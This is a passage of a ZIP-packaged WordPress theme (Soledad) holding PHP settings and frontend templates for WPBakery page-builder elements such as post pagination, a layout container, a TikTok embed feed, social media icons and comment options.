$css_custom    = '';
$heading_tag   = $settings['heading_markup'];
$heading_align = $settings['heading_align'];
$css_class     = vc_shortcode_custom_css_class( $settings['css'] );
echo '<div id="' . $block_id . '" class="header-standard align-' . $heading_align . ' ' . $css_class . '"><' . $heading_tag . ' class="post-title single-post-title entry-title"><span>' . get_the_title() . '</span></' . $heading_tag . '></div>';
$css      = [
	'heading_line'       => [
		'{{WRAPPER}} .header-standard:after' => 'display:none',
		'{{WRAPPER}} .header-standard'       => 'padding:0;margin:0;',
	],
	'main-text-color'    => [ '{{WRAPPER}} .post-title' => 'color:{{VALUE}} !important' ],
	'heading-line-color' => [ '{{WRAPPER}} .header-standard:after' => 'background-color:{{VALUE}} !important' ],
	'heading-line-s'     => [ '{{WRAPPER}} .header-standard' => 'padding-bottom:{{VALUE}}px;' ],
	'heading-line-h'     => [
		'{{WRAPPER}} .header-standard:after' => 'height:{{SIZE}}px !important;',
	],
	'heading-line-w'     => [
		'{{WRAPPER}} .header-standard:after'              => 'width:{{SIZE}}px !important;',
		'{{WRAPPER}} .header-standard.align-center:after' => 'margin-left:calc({{SIZE}}px / 2 * -1)',
	],
];
$typo_css = Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => '#' . $block_id . '  .post-title{ %s }',
) );
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id, $typo_css );
PK     N\    A  inc/js_composer/shortcodes/pc_single_postspagination/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_postspagination",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_postspagination/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Posts Pagination', 'soledad' ),
	'description'   => 'Post Builder - Posts Pagination',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Post Navigation Thumbnail?', 'soledad' ),
			'param_name'       => 'penci_post_nav_thumbnail',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Thumbnail Size', 'soledad' ),
			'param_name'       => 'thumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Small Text Description', 'soledad' ),
			'param_name'       => 'post_desc_typo',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Post Title', 'soledad' ),
			'param_name'       => 'post_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
			'param_name'       => 'post_title_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\-fz  z  A  inc/js_composer/shortcodes/pc_single_postspagination/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$thumbsize  = $settings['thumb_size'];
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_postpagination' );
$css_custom = '';
?>
    <div id="<?php echo $block_id; ?>" class="post-pagination <?php echo $css_class; ?>">
		<?php
		$prev_post = get_previous_post();
		$next_post = get_next_post();
		?>
		<?php if ( ! empty( $prev_post ) ) : ?>
            <div class="prev-post prvn-item">
				<?php if ( has_post_thumbnail( $prev_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb penci-holder-load penci-lazy"
                           href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                           data-bgset="<?php echo penci_image_srcset( $prev_post->ID, $thumbsize ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb"
                           href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( $prev_post->ID, $thumbsize ); ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="prev-post-inner">
                    <div class="prev-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_previous_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="prev-title"><?php echo get_the_title( $prev_post->ID ); ?></h5>
                        </div>
                    </a>
                </div>
            </div>
		<?php endif; ?>

		<?php if ( ! empty( $next_post ) ) : ?>
            <div class="next-post prvn-item">
				<?php if ( has_post_thumbnail( $next_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb penci-holder-load penci-lazy nav-thumb-next"
                           href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                           data-bgset="<?php echo penci_image_srcset( $next_post->ID, $thumbsize ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb nav-thumb-next"
                           href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( $next_post->ID, $thumbsize ); ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="next-post-inner">
                    <div class="prev-post-title next-post-title">
                        <span><?php echo penci_get_setting( 'penci_trans_next_post' ); ?></span>
                    </div>
                    <a href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                        <div class="pagi-text">
                            <h5 class="next-title"><?php echo get_the_title( $next_post->ID ); ?></h5>
                        </div>
                    </a>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php
$css = [
	'post_desc_color'   => [ '{{WRAPPER}} .post-pagination .prev-post-title span' => 'color: {{VALUE}}' ],
	'post_title_color'  => [ '{{WRAPPER}} .post-pagination a' => 'color: {{VALUE}}' ],
	'post_title_hcolor' => [ '{{WRAPPER}} .post-pagination a:hover' => 'color: {{VALUE}}' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\P($  $  1  inc/js_composer/shortcodes/container/settings.phpnu [        <?php
vc_map( array(
	'base'                    => 'penci_container',
	'class'                   => '',
	'icon'                    => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                => penci_get_theme_name('Soledad'),
	'html_template'           => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/container/frontend.php',
	'name'                    => penci_get_theme_name('Penci').' '.__( 'Container', 'soledad' ),
	'description'             => esc_html__( 'Place content elements inside the container', 'js_composer' ),
	'weight'                  => 1000,
	'is_container'            => true,
	'show_settings_on_create' => false,
	'params'                  => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'container_layout',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Choose with container', 'soledad' ),
			'param_name' => 'el_width',
			'value'      => array(
				esc_html__( 'Container ( width: 1080px ) ', 'soledad' )        => 'w1080',
				esc_html__( 'Container normal ( width: 1170px ) ', 'soledad' ) => 'w1170',
				esc_html__( 'Container fluid ( width: 1400px ) ', 'soledad' )  => 'w1400',
			),
			'std'        => 'w1170',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Custom position of content and sidebar on mobile', 'soledad' ),
			'param_name' => 'ctsidebar_mb',
			'value'      => array(
				esc_html__( 'Content + Sidebar left + Sidebar right', 'soledad' ) => 'con_sb2_sb1',
				esc_html__( 'Content + Sidebar right + Sidebar left', 'soledad' ) => 'con_sb1_sb2',
				esc_html__( 'Sidebar left + Content + Sidebar right', 'soledad' ) => 'sb2_con_sb1',
				esc_html__( 'Sidebar left + Sidebar right + Content', 'soledad' ) => 'sb2_sb1_con',
				esc_html__( 'Sidebar right + Content + Sidebar left', 'soledad' ) => 'sb1_con_sb2',
				esc_html__( 'Sidebar right + Sidebar left + Content', 'soledad' ) => 'sb1_sb2_con',
			),
			'std'        => '',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Enable sticky content & sidebar.', 'soledad' ),
			'param_name' => 'el_enable_sticky',
			'value'      => array( __( 'Yes', 'soledad' ) => 'yes' ),
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'        => 'el_id',
			'heading'     => __( 'Container ID', 'soledad' ),
			'param_name'  => 'el_id',
			'description' => sprintf( __( 'Enter optional row ID. Make sure it is unique, and it is valid as w3c specification: %s (Must not have spaces)', 'soledad' ), '<a target="_blank" href="http://www.w3schools.com/tags/att_global_id.asp">' . __( 'link', 'soledad' ) . '</a>' ),
		),
		array(
			'type' => 'textfield',
			'heading' => esc_html__( 'Extra class name', 'js_composer' ),
			'param_name' => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
		),
		array(
			'type' => 'css_editor',
			'heading' => esc_html__( 'CSS box', 'js_composer' ),
			'param_name' => 'css',
			'group' => esc_html__( 'Design Options', 'js_composer' ),
		),
		penci_get_vc_responsive_spacing_map(),
	),
	'js_view'                 => 'VcPenciContainerView',
	'default_content'         => '[penci_column width="11"][/penci_column]',
) );
PK     N\:Ҷ    1  inc/js_composer/shortcodes/container/frontend.phpnu [        <?php
$el_class          = $el_width = $columns_placement = $container_layout = '';
$content_placement = $css = $el_id = $css_animation = '';
$disable_element   = $ctsidebar_mb = $el_enable_sticky = '';
$output          = $after_output = '';
$atts            = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

Penci_Global_Data_Blocks::set_data_row( $container_layout );

wp_enqueue_script( 'wpb_composer_front_js' );

$el_class = $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_classes = array(
	'penci-vc-container',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);

if ( ! empty( $container_layout ) ) {
	$css_classes[] = 'layout-' . $container_layout;

	if( in_array( $container_layout, array( '13_23','23_13','14_12_14','12_14_14','14_14_12' ) ) ) {
		$css_classes[] = 'penci-vc-dis-padding';
	}
}

if ( ! empty( $el_width ) ) {
	$css_classes[] = 'vc-penci-' . $el_width;
}
if ( ! empty( $ctsidebar_mb ) ) {
	$css_classes[] = 'penci-' . $ctsidebar_mb;
}

if ( 'yes' == $el_enable_sticky ) {
	$css_classes[] = 'penci-vc-sticky-sidebar';
}

$wrapper_attributes = array();
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class            = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '><div class="penci-vc-row">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div></div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;

Penci_Global_Data_Blocks::reset_data_row();
PK     N\    9  inc/js_composer/shortcodes/tiktok_embed_feed/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_tiktok_embed_feed',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/tiktok_embed_feed/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'TikTok Embed Feed', 'soledad' ),
	'description'   => __( 'Show recent feed of your TikTok', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'        => 'textfield',
			'heading'     => __( 'Username', 'soledad' ),
			'param_name'  => 'username',
			'value'       => '',
			'admin_label' => true,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'heading'    => __( 'Width', 'soledad' ),
			'param_name' => 'width',
			'value'      => '',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Content Text Horizontal Position', 'soledad' ),
			'param_name' => 'content_horizontal_position',
			'value'      => array(
				'Left'   => 'margin-right: auto',
				'Center' => 'margin-left: auto; margin-right: auto;',
				'Right'  => 'margin-left: auto',
			),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\]    9  inc/js_composer/shortcodes/tiktok_embed_feed/frontend.phpnu [        <?php
$settings = vc_map_get_attributes( $this->getShortcode(), $atts );
$username = $settings['username'] ? $settings['username'] : '';
wp_enqueue_script( 'penci_tiktok_embed' );
$id_tiktok = Penci_Vc_Helper::get_unique_id_block( 'penci_tiktok_feed' );
?>
    <div id="<?php echo $id_tiktok; ?>" class="pc-tiktok-embed-feed-el">
		<?php
		Penci_Vc_Helper::markup_block_title( $atts );
		if ( $username ) {
			wp_enqueue_script( 'penci_tiktok_embed' );
			?>
            <blockquote class="tiktok-embed" cite="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>"
                        data-unique-id="<?php echo esc_attr( $username ); ?>"
                        data-embed-type="creator"
                        style="width: 100%;">
                <section><a target="_blank"
                            href="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>">@<?php echo esc_attr( $username ); ?></a>
                </section>
            </blockquote>
			<?php
		} else {
			_e( 'Please enter your Tiktok username', 'soledad' );
		}
		?>
    </div>
<?php
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_tiktok, $atts );

if ( $atts['width'] ) {
	$css_custom = penci_extract_md_responsive_fsize( $id_tiktok . ' .tiktok-embed{max-width:{{VALUE}}px}', $atts['width'] );
}

if ( $atts['content_horizontal_position'] ) {
	$css_custom = $id_tiktok . ' .tiktok-embed{' . $atts['content_horizontal_position'] . '}';
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\LZ"  Z"  4  inc/js_composer/shortcodes/social_media/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_social_media',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/social_media/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Social Media', 'soledad' ),
	'description'   => __( 'Social Media Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
	//Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Display Social Text on Right Icons', 'soledad' ),
				'param_name'  => 'text_right',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'        => 'dropdown',
				'heading'     => __( 'Alignment', 'soledad' ),
				'param_name'  => 'alignment',
				'std'         => 'pc_alignleft',
				'value'       => array(
					__( 'Center', 'soledad' ) => 'pc_aligncenter',
					__( 'Left', 'soledad' )   => 'pc_alignleft',
					__( 'Right', 'soledad' )  => 'pc_alignright',
				),
				'description' => __( 'This option only apply when you hide text on the right side of social icons', 'soledad' )
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Remove Border Around Icons ?', 'soledad' ),
				'param_name'  => 'dis_circle',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Remove Border Radius on Border of Icons ?', 'soledad' ),
				'param_name'  => 'dis_border_radius',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Use Brand Colors for Social Icons ?', 'soledad' ),
				'param_name'  => 'brand_color',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'size_icon',
				'heading'          => __( 'Custom Font Size for Icons', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Disable Uppercase Text on Right Icons ?', 'soledad' ),
				'param_name'  => 'size_upper',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'size_text',
				'heading'          => __( 'Custom Font Size for Text on Right Icons', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),

			// Tab social
			array(
				'param_name'  => 'custom_markup_1',
				'type'        => 'custom_markup',
				'description' => esc_html__( 'Note: You can setup the URL for each social media icon via Appearance > Customizer > Social Media', 'soledad' ),
				'group'       => 'Socials'
			),
			array(
				'type'             => "checkbox",
				'heading'          => ' ',
				'edit_field_class' => 'penci-show-social',
				'param_name'       => 'show_socials',
				'std'              => 'facebook,twitter,instagram,pinterest',
				'value'            => array(
					'Show facebook'       => 'facebook',
					'Show twitter'        => 'twitter',
					'Show instagram'      => 'instagram',
					'Show pinterest'      => 'pinterest',
					'Show linkedin'       => 'linkedin',
					'Show behance'        => 'behance',
					'Show flickr'         => 'flickr',
					'Show tumblr'         => 'tumblr',
					'Show youtube'        => 'youtube',
					'Show email'          => 'email',
					'Show vk'             => 'vk',
					'Show bloglovin'      => 'bloglovin',
					'Show vine'           => 'vine',
					'Show soundcloud'     => 'soundcloud',
					'Show snapchat'       => 'snapchat',
					'Show spotify'        => 'spotify',
					'Show github'         => 'github',
					'Show stack overflow' => 'stack-overflow',
					'Show twitch'         => 'twitch',
					'Show vimeo'          => 'vimeo',
					'Show steam'          => 'steam',
					'Show xing'           => 'xing',
					'Show whatsapp'       => 'whatsapp',
					'Show telegram'       => 'telegram',
					'Show reddit'         => 'reddit',
					'Show ok'             => 'ok',
					'Show 500px'          => '500px',
					'Show stumbleupon'    => 'stumbleupon',
					'Show wechat'         => 'wechat',
					'Show weibo'          => 'weibo',
					'Show line'           => 'line',
					'Show viber'          => 'viber',
					'Show discord'        => 'discord',
					'Show rss'            => 'rss',
					'Show Slack'          => 'slack',
					'Show Mixcloud'       => 'mixcloud',
					'Show Goodreads'      => 'goodreads',
					'Show Tripadvisor'    => 'tripadvisor',
					'Show Tiktok'         => 'tiktok',
					'Show dailymotion'    => 'dailymotion',
					'Show blogger'        => 'blogger',
					'Show delicious'      => 'delicious',
					'Show deviantart'     => 'deviantart',
					'Show digg'           => 'digg',
					'Show evernote'       => 'evernote',
					'Show forrst'         => 'forrst',
					'Show grooveshark'    => 'grooveshark',
					'Show lastfm'         => 'lastfm',
					'Show myspace'        => 'myspace',
					'Show paypal'         => 'paypal',
					'Show skype'          => 'skype',
					'Show window'         => 'window',
					'Show wordPress'      => 'wordPress',
					'Show yahoo'          => 'yahoo',
					'Show yandex'         => 'yandex',
					'Show Douban'         => 'douban',
					'Show Threads'        => 'threads',
					'Show Yelp'           => 'yelp',
					'Show QQ'             => 'qq',
				),
				'group'            => 'Socials'
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_social_media_settings',
				'heading'          => esc_html__( 'Social Media', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Color', 'soledad' ),
				'param_name'       => 'social_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Hover Color', 'soledad' ),
				'param_name'       => 'social_text_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Border Color', 'soledad' ),
				'param_name'       => 'social_bodcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Border Hover Color', 'soledad' ),
				'param_name'       => 'social_hbodcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Background Color', 'soledad' ),
				'param_name'       => 'social_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Hover Background Color', 'soledad' ),
				'param_name'       => 'social_bghcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text Color', 'soledad' ),
				'param_name'       => 'social_textcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text Hover Color', 'soledad' ),
				'param_name'       => 'social_htextcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			)
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\E/    4  inc/js_composer/shortcodes/social_media/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$text_right = $alignment = $dis_circle = $dis_border_radius = $brand_color = $responsive_spacing = '';
$size_icon = $size_upper = $size_text = $show_socials = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if( ! $show_socials ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-social-media';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id = Penci_Vc_Helper::get_unique_id_block( 'social_media' );

$class_socials = ' widget-social';
$class_socials .= $alignment ? ' ' . $alignment : '';
$class_socials .= $text_right ? ' show-text' : '';
$class_socials .= 'yes' == $dis_circle ? ' remove-circle' : '';
$class_socials .= 'yes' == $size_upper ? ' remove-uppercase-text' : '';
$class_socials .= 'yes' == $dis_border_radius ? ' remove-border-radius' : '';

if ( 'yes' == $brand_color && ! 'yes' == $dis_circle ) {
	$class_socials .= ' penci-social-colored';
} elseif ( 'yes' == $brand_color && 'yes' == $dis_circle ) {
	$class_socials .= ' penci-social-textcolored';
}

$style_icon     = 'style="font-size: ' . $size_icon . '"';
$style_icon_svg = 'style="width: ' . $size_icon . 'px;height: auto;"';
$style_text     = 'style="font-size: ' . $size_text . '"';

?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content<?php echo esc_attr( $class_socials ); ?>">
			<?php 
			$show_socials_array = explode(',', $show_socials );
			$social_data = penci_social_media_array();
			foreach( $social_data as $name => $sdata ){
				if( in_array( $name, $show_socials_array ) ){
					$icon_html = penci_icon_by_ver( $sdata[1], $style_icon );
					?>
					<a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>" aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?> target="_blank"><?php echo $icon_html; ?><span <?php echo $style_text; ?>><?php echo ucwords( $name ); ?></span></a>
					<?php
				}
			}
			?>
		</div>
	</div>
<?php

$id_social_media = '#' . $block_id;
$id_social_media2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_social_media, $atts );

if ( $atts['size_icon'] ) {
	$css_custom .= $id_social_media . ' .widget-social i{ font-size:' . esc_attr( $atts['size_icon'] ) . ' !important; }';
}
if ( $atts['size_icon'] ) {
	$css_custom .= $id_social_media . ' .widget-social svg{ width:' . esc_attr( $atts['size_icon'] ) . ' !important; height: auto; }';
}

// Color
if ( $atts['social_text_color'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a i{ color: ' . esc_attr( $atts['social_text_color'] ) . '; }';
}
if ( $atts['social_text_hcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a:hover i{ color: ' . esc_attr( $atts['social_text_hcolor'] ) . '; }';
}
if ( $atts['social_bodcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a i{ border-color: ' . esc_attr( $atts['social_bodcolor'] ) . '; }';
}
if ( $atts['social_hbodcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a:hover i{ border-color: ' . esc_attr( $atts['social_hbodcolor'] ) . '; }';
}
if ( $atts['social_bgcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a i{ background-color: ' . esc_attr( $atts['social_bgcolor'] ) . '; }';
}
if ( $atts['social_bghcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a:hover i{ background-color: ' . esc_attr( $atts['social_bghcolor'] ) . '; }';
}
if ( $atts['social_textcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social.show-text a span{ color: ' . esc_attr( $atts['social_textcolor'] ) . '; }';
}
if ( $atts['social_htextcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social.show-text a:hover span{ color: ' . esc_attr( $atts['social_htextcolor'] ) . '; }';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_social_media, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\/Md='  ='  :  inc/js_composer/shortcodes/pc_single_comments/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_comments",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_comments/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Comments', 'soledad' ),
	'description'   => 'Post Builder - Comments',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Move Comment Form to Above the List Comments', 'soledad' ),
			'param_name'       => 'penci_post_move_comment_box',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Comment Date', 'soledad' ),
			'param_name'       => 'hcomment_date',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Lines on The Block Heading', 'soledad' ),
			'param_name'       => 'comment_rheading_lcolor',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide "Name" field on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_comments_remove_name',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide "Email" field on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_comments_remove_email',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide "Website" field on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_comments_remove_website',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove checkbox "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
			'param_name'       => 'penci_single_hide_save_fields',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable GDPR message on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_gdpr',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Custom GDPR Message on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_gdpr_text',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Submit Button Align', 'soledad' ),
			'param_name'       => 'submit_btn_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_cmlists',
			'heading'          => esc_html__( 'Comment Lists', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
